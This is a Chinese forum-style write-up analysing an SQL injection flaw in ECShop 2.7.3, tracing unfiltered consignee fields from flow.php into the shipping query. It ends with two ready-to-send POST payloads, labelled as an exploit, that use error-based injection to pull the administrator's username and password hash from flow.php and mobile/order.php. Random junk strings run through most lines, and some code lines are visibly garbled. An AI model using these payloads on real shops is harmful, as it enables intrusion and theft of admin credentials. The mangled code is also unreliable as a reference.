前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。# E. n$ @, ?( G9 O$ K. R
, b5 w& ~' ~8 L5 I2 Y! F
漏洞关键文件:) l6 l. H! |8 z. \7 [2 Z
@# d% P9 _( m+ l4 l4 o /includes/lib_order.php3 ^3 |1 Z. G/ `* e& o
1 R0 C( G: n) f6 Q( N$ Z 关键函数:
1 A( d! V; {1 } P. `' L
, Z: |9 Z4 h# E( y9 R) y
3 D$ [" T2 @( l( X- D! a0 }9 K
3 ^* Z9 v: g# T) ?* {/ X0 q01 function available_shipping_list($region_id_list)
4 K: E+ c6 c/ V! b9 A& D: `
! I0 N8 @% i( U* d02 { " Z5 w0 L. v& @+ W! Q, r
8 P. Y0 n: P8 x9 \03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' . ; f& ^6 g7 j8 B: V2 @( ~
, f, _7 ]; _6 Q5 j. E" i. }& T! O04 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
- Y4 Z5 N3 v) K2 L* c
! T8 ^7 k2 g7 m05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
6 e; \ K A. h& X0 E( O+ V9 T8 V* f0 `# t( h k+ o* N
06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . ( _9 O2 H0 E: D: M# S8 s
* }2 L: w0 @/ y' l* L07 $GLOBALS['ecs']->table('area_region') . ' AS r '.
) Q+ s$ J" F% t, | B4 G, [0 X$ r( `8 T. e6 ^# w3 y, ~
08 'WHERE r.region_id ' . db_create_in($region_id_list) .
5 M) |8 {) J; E6 t# f& q( c6 i" Y0 u9 s
09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; C# d! D& C. X O/ R
- F8 {! d" g+ C6 S
10
* Z/ H9 s3 A) F6 ?/ Q
, W" a% \" P" Y/ n11 return $GLOBALS['db']->getAll($sql); 3 a; \ {' E$ W6 n7 j$ Y# M0 ` L
1 Z6 }6 `! ~* M12 }
) V- |$ k0 w4 k5 C2 u, _6 F- _; Y/ L6 }& e* Y
显然对传入的参数没有任何过滤就带入了查询语句。3 X; ^2 O. Q, x
2 P# @7 L# e: c' V4 k* K8 e
下面我们追踪这个函数在flow.php中:
1 W+ A* e `0 o" C, X% { 第531行:
" e- O: W" h. q/ E
: C/ U9 \; ?- X7 ~: v1 $shipping_list = available_shipping_list($region); . `7 Q. ]. i2 ^, p
3 \, v4 U# k1 a f* y
! x2 g4 q) h& c' _2 H5 O
+ l, X. G- w! x# d 5 ^' J- `! l4 Y! [0 K% d: K9 U
# z3 y! H6 w3 E0 W2 J9 r再对传入变量进行追踪:
: m7 y. H1 Q; ?& U1 w2 _' L" O; X( V- P, s" j Z% i
第530行: + S" v" U- g8 C- c9 i# X4 W- Z U7 D
" P8 v0 O& \/ s9 K% d. Z1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
. ^! d) N u$ x; c
! [7 P, O& Q: Y1 G+ V3 W 4 j* G6 E, ]4 g( N4 J" b& u1 E; E
E" T# s9 r+ g9 a: \
9 J% L6 D4 G& |" ~. r+ A5 o( q& s* a" C3 k# m8 i/ M
第473行: " p5 w! ?1 D* O2 W5 k
8 n' E X5 I5 B) u9 i3 u1 $consignee = get_consignee($_SESSION['user_id']);
/ b1 S/ }3 i3 P$ n
3 z" o/ C4 t: Q$ ], Y到了一个关键函数:) ^% }$ `3 C- F' v/ `
: P7 ?3 D7 a' b2 g; _
/includes/lib_order.php" W9 ?2 R, s+ v, k& N
% A7 I. w. q5 N: T9 M ) R w! f3 t1 s
- u5 }2 {; o) ^8 H, P
% R( A6 N" G5 \5 a
) m, E2 _! d8 U8 O$ Z01 function get_consignee($user_id) # y) b8 j# O! g$ Y. f! C7 K6 m
1 h! y# h4 Y$ m w# C. a; g+ ~02 { / B+ A1 ], e+ j) Y: D' A
g" _6 h6 a% u! h2 T1 o
03 if (isset($_SESSION['flow_consignee'])) ; k e9 B+ ]2 Z! q7 _ h) W
$ t+ s; P1 ]7 \
04 { ( |" H% t( h& u* y6 y
' J5 _6 C& P8 I$ H6 M& P8 j- q05 /* 如果存在session,则直接返回session中的收货人信息 */
6 @- [! w+ ?4 s% a+ ?% C+ X1 h: d, J3 x
06
" B; k/ [% f1 r# a% t
" q" h8 u9 {' b$ X6 t: ~07 return $_SESSION['flow_consignee'];
6 j" t C9 K% k$ r5 c7 N
0 Z! v: c# ?! B% |0 t0 _08 } / K; Y; B9 w( v6 i8 r- g- l
% r) K8 A7 U7 s& ^% \
09 else 3 f1 U5 }2 [5 p( k. I* ?5 J
6 r1 U: A9 N& w2 z10 { ' Z7 t% @6 ?! s/ |
4 _0 j8 K7 L- P. `. N# _4 e. y
11 /* 如果不存在,则取得用户的默认收货人信息 */
: S2 L# m$ }9 E; I
( p. h2 t8 O0 D, V8 ?2 M4 S+ H12 $arr = array(); & n; U! x+ [6 W( Y' g/ t
+ }/ w/ Z& z+ p2 C
13
: U; W5 ]0 Z- A
0 w, r. u3 O( c' Z3 l; d, y14 if ($user_id > 0)
/ b- S' J, l% e2 N5 d8 Z% C6 [, e( t9 @3 h z: d
15 { 7 E# t9 ~3 Y5 z, e
, o3 |$ [* \# n4 C, i J
16 /* 取默认地址 */ # O8 ^4 S9 M ]4 E3 q
6 Q* q* y( ?9 d& _- v- ^. g4 h; e17 $sql = "SELECT ua.*". ; Z; `' v" T/ O: x9 w
$ V0 f" b: ~9 p. n( r) g; s18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. 5 r2 d7 O, e+ D1 V$ v
6 A( `, ^ g& a9 }' l19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; + y3 J$ u2 x( ?# _- j! N
/ |/ o# L+ N' o20 $ G+ D- U- p9 k9 I- {' k+ W; Q
9 d ~3 j$ W& l/ W, G+ \" i21 $arr = $GLOBALS['db']->getRow($sql); 4 ]/ V: \ X U/ W/ v6 i- F$ c
. F d# L$ G7 _$ c8 E( Y22 }
! g% _* o: s @& x. {# A1 v
1 ~6 w+ b9 f1 e5 e4 v+ r) I4 L23
/ O) o3 q+ @6 e) y3 r
) _& G8 O# p$ }. e& W; N+ t24 return $arr; 6 s: {4 J- U( c+ D- H
* a0 n {% v2 E2 _
25 } % s" q: Y: w2 s) R8 X! a2 g
. a ]% {- m5 L, b26 }
/ u# ?0 i4 X( T4 n5 j) r) N! Z( z- G
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?7 V' T) Y2 [# S+ m
# d2 J/ J7 Z- B, l6 p5 l! | : u. B+ z9 k7 y3 @9 N+ f4 @2 E
. }' h% t3 D. g
关键点:
+ n2 p! ~ N+ v0 m" h) U0 h1 K4 H W$ p2 ~1 Z9 E; J
第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);% F P: s6 \4 f: \$ G& @: p
! R* J4 |4 J9 A% Z+ ^! b; N
这里对传入参数反转义存入$_SESSION中。
& P9 @/ e7 W% K* h* D- h
; ^5 U+ B4 P! L6 { 6 e7 L' T! r. ]6 O: L' \* k5 }
4 \6 P) L q! B) u
然后看下:
1 P0 A2 K3 R! N
X4 c0 W2 B2 d+ ^1 \, V J7 n
9 @' U& n! ]! k: k9 ?
, i4 z( {0 h: M" M; g! e/ D" [
/ j+ s( Q: J. N8 d. w6 t2 {% N) I3 v- Z3 u3 J( |& g- b
01 $consignee = array(
, a4 W& g. v* L+ b" l7 Q
* J5 ~8 `! F# N$ ^/ [02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']), ; u0 n) i% d! e6 ~) [" x
% Y S: z& \4 |0 Q3 Q* D03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']),
" b! Q( d' Z& F0 ]2 p& @0 G
7 A' B3 s6 C# t+ q) R04 'country' => empty($_POST['country']) ? '' _POST['country'], & T1 I. z3 I" o, j* C7 r( ]8 Z4 S
" ~$ K% l* {; R# y
05 'province' => empty($_POST['province']) ? '' _POST['province'], " e; x6 Z5 ]9 M4 v8 Z
- b* B5 J! @1 H06 'city' => empty($_POST['city']) ? '' _POST['city'],
- `1 ~3 T4 l3 Z1 N Y* z' w" F
4 i- C# Y7 y3 w; l+ e; J07 'district' => empty($_POST['district']) ? '' _POST['district'],
. t0 }3 E3 U4 u+ L
" G4 a, q( U( P5 |$ \08 'email' => empty($_POST['email']) ? '' _POST['email'],
# S& q: O, h# T# j1 N" w9 O) |4 c L9 f1 b0 A# L" {" S
09 'address' => empty($_POST['address']) ? '' _POST['address'], 4 i" f6 y& i+ j k
/ Y, X: R; k+ n$ n; [10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])),
1 K5 V3 w; p; B) B' l0 m2 R2 C7 n! z( D$ f3 o
11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])), : G# M1 L0 f6 v7 M% a
) C7 V7 |/ x3 P% i' i- v% J! R, W
12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])), / N$ V6 \/ c, f0 f/ C
4 `5 |- ^. ^, L' T13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], , m% R/ ?2 q! J# m: M
; b) O( v6 R6 m/ `5 n: B* @$ G
14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'], 1 C% f) \7 C ~
& ^5 G; W; U9 O0 |15 ); {/ [3 R5 _! G
+ f3 n* P! h/ e9 D& i好了注入就这样出现了。
* P# C) i% {( L5 f$ B: ]8 ?3 H* m s
================== C9 @5 b+ ~% \, n7 L
, s9 p$ u& g7 e' b4 P6 }7 ~& Y
注入测试:4 b% j- S: ?! w: B
6 N4 j% u- u' I, y8 k. i7 v2 i环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
3 l$ P2 O; y* }: d' v! @2 L% Y
; C$ O7 T' P8 V. _3 V) o! a7 B% a) z测试程序:ECShop_V2.7.3_UTF8_release11067 \: q+ D* T, a; e/ s5 B1 ^; S
q4 C4 a) b: y9 w
1 Q4 l) W6 e/ V1 ~2 e
: U5 _: T- P/ H/ y# d( d1.首先需要点击一个商品加入购物车/ |7 J. |: b( F8 a( m: b! }7 {: L
! F4 t, x# o1 a; ~6 a
2.注册一个会员帐号
8 \7 p1 r; y' \
% _- ]% U' C8 Q* [; i- B3.post提交数据
. J* t2 `+ u. r* Y4 g
9 W; s# l0 s' n8 W" O2 ?+ V ( M& B# Y) G5 B# }; y
+ u; C$ g9 I( _, b- _
1 http://127.0.0.1/ecshop/flow.php Y' ]. ~2 N- c* ^% S: y
& n8 x+ F% A* l6 d
2
0 h8 Y. Q8 L8 r6 E1 e9 z* ?; E8 ^0 ?8 z: W# s: {# I
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= * M7 _, |: v& S0 |2 x: D
举一反三,我们根据这个漏洞我们可以继续深入挖掘:5 \# C# H2 o& w( \7 q* E
" q0 z- i) g6 M4 N( W) e: V$ Z4 T
我们搜寻关键函数function available_shipping_list()' g$ G! b3 z+ x& V7 y
2 F: A0 J8 m' S. c. f$ @0 d- W& N$ |+ B" B% a
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同+ A! V# V0 l1 J2 @
* U1 d5 w+ {) x
利用exp:, @1 F2 L; {* h; r- j
, D8 h+ |# u% B+ @4 R1.点击一个商品,点击购买商标( ?! k: d3 L/ t: T h4 ~: b
% K) o7 y0 F8 s6 O! O, o, K2.登录会员帐号
8 n' a5 {) r0 x- U; _) }3 R, E# [; e/ E! Q3 U6 z7 _. z8 A
3.post提交:
" j$ Q+ t& y! ^3 Q! m
& }( h7 B E* R1 \http://127.0.0.1/ecshop/mobile/order.php
4 _5 M* K- {3 b/ C, W/ F! Q
6 h, k& Z' `) J: N
/ u* T, @: ^1 H0 S, G: n! p9 M9 S) `7 p) J2 y- V
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=- l( X$ R" Z0 L, o4 c
6 x' n# ^, W3 ?
|